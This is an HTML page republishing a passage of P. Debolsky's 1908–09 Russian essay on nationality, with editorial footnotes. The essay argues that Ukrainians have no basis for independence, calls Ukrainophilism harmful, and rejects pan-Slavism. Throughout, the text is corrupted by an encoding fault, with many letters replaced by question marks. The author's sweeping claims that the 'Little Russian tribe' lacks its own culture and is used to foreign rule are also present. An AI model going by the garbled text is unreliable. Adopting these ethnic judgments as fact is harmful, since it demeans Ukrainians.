политическом?самоуправлению. Но ни того, ни другог?из этих основани?не? Государственно? самост?тельност?Малоросс? никогд?не имел? Правда, ?течени?киевског?период?русско? истори?большинств?русски?княжест? существовало ?местностя? ныне населенных малороссам? Но не гово? уж??то? чт? представ?ет?</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">весьма сомнительным преемств? происхождения нынешних малороссов от населения сказанны?княжест? государственны?предан? киевског?период??ег?культурные след? совершенно покрыт?историческою давность? именно ?Малороссии, сохраняясь лишь ?русско? государств???великорусско?народной словесност? Зате?по?польскою власть?возникло малороссийское казачество, ка??московском государств?возникло великороссийское казачество, об?ка?особые сослов?, но, конечн? не ка?отдельны?народные единиц? ??польском, ? ?московском государствах казачество производил?смут? которы??польском государств?осложнялись ещ?религиозно? враждо? Москва осилил?смут?своего казачества, ??Польше её последствием оказалос?подчинение её казачества Москве. Очевидно, чт?ни положени? отдельного сослов?, ни положени?бунтовщика, ни перехо?этог?бунтовщика по?власть соседнег? государств?не создаю?для него прав?на национальную самост?тельност? да если бы даже ?создавал? то необходимо помнит? чт?казацк? Малоросс? обнимала только дв?теперешние губернии, ?нынешние малоросс?живу?? преобладающе?ил?значительном количестве ? одинадцати русски?губерн???двух русски? областя???некоторы?местностя?Польши ? Австро-Венгри? </p> <p>Чт?же касает? второг?основания, то отсутствие ег?ещ?боле?явн? Никако? собственно?малорусско?культуры, которая требовал?бы обособления Малороссии от России, не существует. ?экономическо?отношени?эт? обособлени?было бы для первой только пагубн? потому чт?именно по?покровом русского государств?малорусски?земледельц? колонизировали юг Европейско?России, ?теперь массам?участвую??колонизаци?Сибири; по? покровом же русского государств?развилис?? развиваются дв?главны?отрасл?малорусско? промышленности - свеклосахарн?</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">?юг?западном крае ? донецк?каменноугольно??железное дело. Малорусско?племя обнаружило немало талантливост??литературе ??наук? имен? Гого?, Остроградского</font><a href="#11" name="11a"><font FACE="Times New Roman" SIZE="1"> [11], </font></a><font FACE="Times New Roman" SIZE="1">Мечников? служат тому достаточны?доказательство? Но эт? деятели суть соучастник?общерусско??даже общеевропейско?духовной культуры, специально же малорусско?духовной культуры не существует; ка?бы мы ни уважал?деятельност?Шевченки, ег? имен?ещ?недостаточно, чтоб?оправдат? притязания на таку?культуру. Ка?не? собственно?культуры малорусского племен? та? не??не??те?привычек самоуправлен?, которы? гарантировал?бы ем?возможност?политической самост?тельност? Малоросс?нигд?не состав?ют автономных ?полуавтономных единиц, которы?можн?было бы сравнить ?Финляндие?ил? Хорватие?ил?даже ?Богемией. Даже то?степенью местного самоуправлен?, которая принадлежи? населени?русски?губерний, малорусско? населени?пользует? ?горазд?меньше?мере, че? можн?было бы ожидат?по ег?численност? та?ка? ?огромном большинств?этих губерний малоросс? состав?ют сельскую масс? на плечах которо? стои?инородно?дворянств?- польское ил? великорусско??инородно?городско?населени?- ?огромном проценте еврейско? Эт?неспособност? малорусского племен?выделить из свое? собственно?сред?правящи?классы обнаруживает? ??Австро-Венгри? та?ка?та?? Галици? Буковине ?Угорской Руси</font><a href="#12" name="12a"><font FACE="Times New Roman" SIZE="1"> [12] </font></a><font FACE="Times New Roman" SIZE="1">замечает? тако?же явление господства иноплеменног?помещика ?горожанина на?малорусски?крестьянино? </p> <p>Племя, которо?пр?всей свое?многолюдност? везд?привыкло жить по?господство?других племен, представ?ет бе?сомнен?, мало данных для достижен? народной самост?тельност? </p> <p>Украйнофильств?приносит малорусскому племен? громадны?вред не только те? чт?побуждае? значительную част?возникающе??не? интеллигенци?стремить? ?неосуществимым задача? но ?те? чт?вызывает ? правительственны?сферах недоверчивое отношени??законном?желани?этог?племен? хранит??развиват?свои этнические особенност? Та? например, литературн? обработк?родног? наречия сама по себе не представ?ет ничего зловредног? ?если бы он?не сопрягалась ? глазах власти ?призрако?национальног? сепаратизм? призрако? которы?усердн? поддерживает? украйнофильством, то, бе? сомнен?, само?отношени?правительств?? литературе на малорусско?наречи?было бы иное, че?теперь. ?Германии литературн? деятельност? Рейтер?/font><a href="#13" name="13a"><font FACE="Times New Roman" SIZE="1"> [13] </font></a><font FACE="Times New Roman" SIZE="1">на северн?немецком наречи? вызывает обще?сочувствие; вся Франция недавн? чествовала знаменитог?провансальског?поэт? Мистра?</font><a href="#14" name="14a"><font FACE="Times New Roman" SIZE="1"> [14]. </font></a><font FACE="Times New Roman" SIZE="1">Та?естественн? обстои?дело та? гд?любовь ?родном?наречи?не есть призна?национальног?сепаратизм? </p> <p>Установление правильног?по?тия народности одно може?бросит?правильный свет ?на та? называемый</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">славянски? вопрос. Признавая предпочтительность вида пере? родо? Данилевски?делает отсюда то?выво? чт? поскольк?славянств?/font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">есть ви??роде человечества, интересы славянств?для на?должны быть важнее интересо?человечества вообще. Чт?интересы народности выше интересо?человечества вообще - эт?совершенно справедлив? но не потому, чт? народность есть ви??роде человечества, ? потому, чт?народность есть общество, какового признака человечество ?полном ег?состав?не имее? Поэтом?мы видели, чт?не только интересы народности, но ?интересы семь?выше интересо? человечества, ?чт?то?ви?общества, которы? именуется церковью, именно ?разбивается ?свои? притязания?потому, чт?есть по идее свое?союз общечеловеческий ? ка?таково? неосуществим. Следовательн? ?первенство славянски? интересо?пере?всечеловеческими може?быть защищено лишь пр?услови?применимости ? славянств?определения народности ка?общества, если не действительног? то по крайне?мере, потенциального. Тако?применимости, однако, ни ? че?не обнаруживает?. Единог?славянского государств??прошедше?никогд?не существовало, ?для возникновения ег??будуще?не?никаки? реальных основани? Пробуждени?народног? самосознан? те?славянски?племен, которы? находились ?нахо?тся ?подчинении Австри?? Турции, всегда происходил?на почв?историческ? обоснованног?партикуляризм? ?? на почв? восстановлен? их нарушенных фактически, но ещ? живущи??народном сознании государственны? прав. Та?совершилос?национальное возрождени? Сербии ?Болгарии; ?когд?он?совершилос? то эт? народности не стал?стремить? ?объединени? ? вступили межд?собо??войн?из-за разграничения их национальных областей</font><a href="#15" name="15a"><font FACE="Times New Roman" SIZE="1"> [15]. </font></a><font FACE="Times New Roman" SIZE="1">Наскольк? сред?славя?силё?этот историческ? обоснованный партикуляризм, видн?из того, чт? дв?родственны?по языку ?отчаст?совместн? живущи?племен?- серб??хорват? различие которы?состои?только ?вероисповедани?? шрифте, считаю?се? разным?народами ? нахо?тся ?сост?ни?взаимной вражды. На исторической же почв?попранного государственного прав?происходил? национальное движение ?чешско?народе; ?если теперь результаты этог?движен? сомнительн? то именно потому чт?чехи ?конц?концов пошл?на уступк??вместо вопрос??правах чешского королевств?стал?занимать? исключительн? вопросом ?взаимных отношения?чешского ? немецког?языко? Каково бы ни было разрешение этог?последнего вопрос? он?пойдёт на пользу лишь Австри? ?не на пользу</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">Чехи?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> ка?особог?национальног? неделимого. </p> <p>Чт?касает? России, то для не?преследовани? зада?панславизм?было бы равносильн?крушению её собственны?национальных зада? та?ка? вместо того, ?че?он?прежде всег?нуждается - укреплен? её собственного народног?единства - ей пришлось бы расточат??разбрасывать свои силы для образования политическог? конгломерата, не имеющего ни внутренней связи, ни культурной целостност? не гово? уж?пр?то непомерное пожертвовани?кровью ?дост?нием своего народа, какого потребовал?бы успешное разрешение этой задачи. Интересы славянского племен?должны оцениваться Россие??точк? зрен? здравого</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">национальног?эгоизм? ?? он?должна смотреть на славя? ка?на полезных союзнико?? возможно?борьбе ?её врагам? ?сожалени? пока Росс? была ?силе, русско?правительств?не сознавал?этой истины, но, напротив, оказывал? поддержк?врагам славя? ставши?впоследствии ? врагам?России, ?когд?он?осознало эт?истину, то Росс? оказалас?слабою для практическог? следован? ей. </p> <p>?наст?ще?время панславизм, конечн? находится ?ущербе, ?потому, казалось бы, не? надобности ?ег?опровержении. Но весьма важн? чтоб?этот ущер?бы?окончательны? та?ка? нель? поручить? за то, чт?не наступит никогд? такого соотношения политических си? которо? оживит мечт??всесла?нско?государств??духе Данилевского. Поэтом?весьма важн? распространени?убеждения ?ложности самы? осно?панславизм? ?то? чт?славянств?не есть единый наро? ?чт?поэтом?образовани? всесла?нского государств?не соответствуе? требованию начала народности.</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">Сэто?точк?зрен?, должна быть оцениваться ?усилившая? ?последне?время агитац? ?пользу духовног?сближения славя? Против этог?духовног?сближения ничего нель? возразит? поскольк?он?связывает Россию узам? симпатии ?народами, добивающимися самост?тельност? ?создаё?ей сочуствующих союзнико?на случай возможны?международны? столкновений. Но не следуе?желать, чтоб?он? толкал?Россию на путь тако?политики, ?точк? зрен? которо?интересы России подчинялись бы интереса?какого-то мнимог?славянского целого. Для всякого народа величайшее ?важнейше?цело? есть он са?</font><font SIZE="1"> </font></p> <p><strong><font size="3">Примечан? ?публикации. </font></strong></p> <p><a href="#1a" name="1"><font FACE="Times New Roman" SIZE="1">[1]. </font></a><font FACE="Times New Roman" SIZE="1">Данн? публикац? представ?ет собо?заключительную част?работы ??Дебольског?"?содержании нравственног? закона", напечатанной ?"Журнал? Министерства Народног?Просвещения" /декабр? 1908; апрель, ма? июль ?август 1909 гг./; публикац? включает ст?83-88 предпоследнего ?ст?351-361 последнего из указанны?номеро?журнал? Мы сохраняем, за немногим?исключен?ми, особенност?пунктуации ?лексик?автора; нескольк?изменена только начальная фраз? выбранного отрывк? ввид?её синтаксической связи ?предшествующим тексто? Отрывк??цело? да?заголово? отражающий ег?основное содержание. Орфограф? текста приведен?? соответствие ?современными нормам?русского языка. </font></p> <p><a href="#2a" name="2"><font FACE="Times New Roman" SIZE="1">[2]. </font></a><font FACE="Times New Roman" SIZE="1">Эльзас - област?на восток? Франци?(главны?горо?- Страсбур?, входившая до середины XVIII века ?состав "Священной Римско? Импери?Германской Наци?quot;; аннексировалас? Германие??1871 ?1940 ? Основн? част?эльзасце? говори?на ?? алеманском диалекте немецког? языка. </font></p> <p><a href="#3a" name="3"><font FACE="Times New Roman" SIZE="1">[?. </font></a><font FACE="Times New Roman" SIZE="1">Правильнее: Галисия (Galicia) - автономн? област?на северо-западе Испани? (цент?- ?Ла-Корунья). Галисийски?язы?долгое время сохранялся только ка?язы?простонародья, но ?середины XIX ? началось возрождень? галисииско?культуры. </font></p> <p><a href="#4a" name="4"><font FACE="Times New Roman" SIZE="1">[4]. </font></a><font FACE="Times New Roman" SIZE="1">Эстремадур?- автономн? област?на западе Испани?(цент?-?Бадахо?. Эстримии, ка??галисийц?- племен? не принадлежащи??иберийском?(собственно испанскому) этносу. </font></p> <p><a href="#5a" name="5"><font FACE="Times New Roman" SIZE="1">[5]. </font></a><font FACE="Times New Roman" SIZE="1">Напомним, чт?Норвег? была датско?провинцией ?конц?XIV ? до 1814 ?, когд? перешл??Швеции; шведск?норвежск? "ун?" была расторгнут??1905 ? ?по се?день литературным языко?Норвегии являет?</font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> ??</font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> "букмол", близки?по строению ?датскому языку. Попытк?внедрить ?? "лансмо?quot; (язы? сконструированны?на базе народных норвежских диалекто? существенных последстви?не имел? </font></p> <p><a href="#6a" name="6"><font FACE="Times New Roman" SIZE="1">[?. </font></a><font FACE="Times New Roman" SIZE="1">Стихотворени??-? Гете из сборника "Западн?Восточны?дива?quot; (дива?- поэтически?жанр ?персидской литературе). ? переводе ??Левика (серия "Лигературные па?тник?quot;,?,1988,ст?78) он?звучит та? </p> <blockquote> <blockquote> <p>Ра? наро??угнетатель </p> <p>Вечн??беге наши?дней,-</p> <p>Счастлив мира обладатель </p> <p>Только личность?свое? </p> <p>Жизн?расходуй ка?сумееш? </p> <p>Но ид?свое?тропой, </p> <p>Всем пожертву? чт?имеешь, </p> <p>Только будь сами?собо? </font></p> </blockquote> </blockquote> <p><a href="#7a" name="7"><font FACE="Times New Roman" SIZE="1">[7]. </font></a><font FACE="Times New Roman" SIZE="1">Следуе?отметить, чт?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> хо? Данилевски? действительн?сопостав??отношени? человечества ?народа (наци? ?отношением "рода" ?"вида" ?биологии (ср."Росс? ?Европа", 5-ое из?СП?,1895,ст?125), основное значение имел?для него делени?человечества по типа?организаци?(та?же,ст?88), причём, ка??? Дебольског? по?ти?типа не сводилос?? какому-либо признаку (этно? язы? религия), ? выражало их целостно?единство. ??де мест Данилевски?прямо указывал на "духовную природ?народо?quot; ка?на источник типическог? единства (ср.ст?105-106). </font></p> <p><a href="#8a" name="8"><font FACE="Times New Roman" SIZE="1">[8]. </font></a><font FACE="Times New Roman" SIZE="1">Дебольский явн?имее??виду ?? "гаагские конвенци?quot;, приняты?на "международны?конференция?мира" ?Гааг?(? 1899 ?1907 гг.); инициаторо?этих конференци?бы? императо?Никола?II, стремивший? утвердит? политику на "христианских начала?quot;. </font></p> <p><a href="#9a" name="9"><font FACE="Times New Roman" SIZE="1">[9]. </font></a><font FACE="Times New Roman" SIZE="1">То есть Курляндск? (западн? Латв?), Лифляндск? (северн? Латв? ?южная Эстония) ?Эстляндск? (северн? Эстония) губернии. </font></p> <p><a href="#10a" name="10"><font FACE="Times New Roman" SIZE="1">[10]. </font></a><font FACE="Times New Roman" SIZE="1">"Национальные партии" ? прибалтийски?губерн??повсеместн?возникал?? период 1904-05 гг. на базе либерально-демократически?? социал-демократически?организаци?(ср. ??Стачинский "Русски?? балт?quot;,СП?,1994,ст?92). </font></p> <p><a href="#11a" name="11"><font FACE="Times New Roman" SIZE="1">[11]. </font></a><font FACE="Times New Roman" SIZE="1">Остроградски?Михаил Васильевич /1801-1862/ - выдающий? русски?математи? ?механи? уроженец Полтавской губернии. </font></p> <p><a href="#12a" name="12"><font FACE="Times New Roman" SIZE="1">[12]. </font></a><font FACE="Times New Roman" SIZE="1">Угорск? Русь - историческое название Закарпатской Украин?(цент?-?Ужгоро?, находившей? ?конц?XI века по?власть?Венгри? </font></p> <p><a href="#13a" name="13"><font FACE="Times New Roman" SIZE="1">[13]. </font></a><font FACE="Times New Roman" SIZE="1">Рейтер Фриц /1810-1874/ - немецкий писатель-сатири? использова?нижи?немецкий диалек?(плат?дойч), насыщенный местными идиомами. Творчество ?Рейтер?высоко цени?Отто Бисмар? </font></p> <p><font FACE="Times New Roman" SIZE="1"><a href="#14a" name="14">[14]. </a>Мистраль Фредерик /1830-1914/ - французски?поэт, глав? движен? за возрождени?провансальског?языка ? культуры; составил первый провансальск?французски?словар? Нобелевская прем? 1904 ? </font></p> <p><a href="#15a" name="15"><font FACE="Times New Roman" SIZE="1">[15]. </font></a><font FACE="Times New Roman" SIZE="1">Войн?межд?Сербие??Болгарие? началась ?ноябр?1885 ? по инициативе Сербии; продолжалась 14 дней ?была прервана</font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> благодаря вмешательств? Австри? посл??да поражени?сербских войс? </font></td> </tr> </table> </td> <td bgcolor="black" rowspan="4" width="2"><img src width="1" height="1"></td> </tr> <tr> <td width="121" height="2"> </td> <td bgcolor="black" height="2"> </td> </tr> <tr> <td width="121" height="2"> </td> </tr> <tr> <td width="121" align="CENTER" valign="BOTTOM"><br> <a target="_top" href="http://top.list.ru/jump?from=87424"><img src="http://top.list.ru/counter?id=87424;t=8;l=1" border="0" height="40" width="88" alt="TopList"></a> <script language="javascript"> d=document;rn=Math.random(); y="<a href='http://u494.66.spylog.com/cnt?f=3&rn="+rn+"' target=_blank><img src='http://u494.66.spylog.com/cnt?"; y+="p=0&f=4&rn="+rn+"' border=0 width=88 height=31 ></a>"; d.write(y); </script><noscript> <a href="http://u494.66.spylog.com/cnt?f=3&p=0" target="_blank"><img src="http://u494.66.spylog.com/cnt?p=0&f=4" alt="SpyLog" border="0" width="88" height="31"></a> </noscript> <img alt border="0" src="line104.gif" WIDTH="104" HEIGHT="10"><a href="copyright.htm"><img alt="Вс?прав?защищены" src="copyright.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img src="empty.gif" width="10" height="6"><br> <br> </td> <td valign="middle" align="center"><br> <img src="banner.gif" height="60" width="468" border="0"><br> <p class="date">Последне?обновление: 02.05.01 </td> </tr> <tr> <td colspan="3" bgcolor="black" height="2"><img src width="1" height="1"></td> </tr> </table> </body> </html>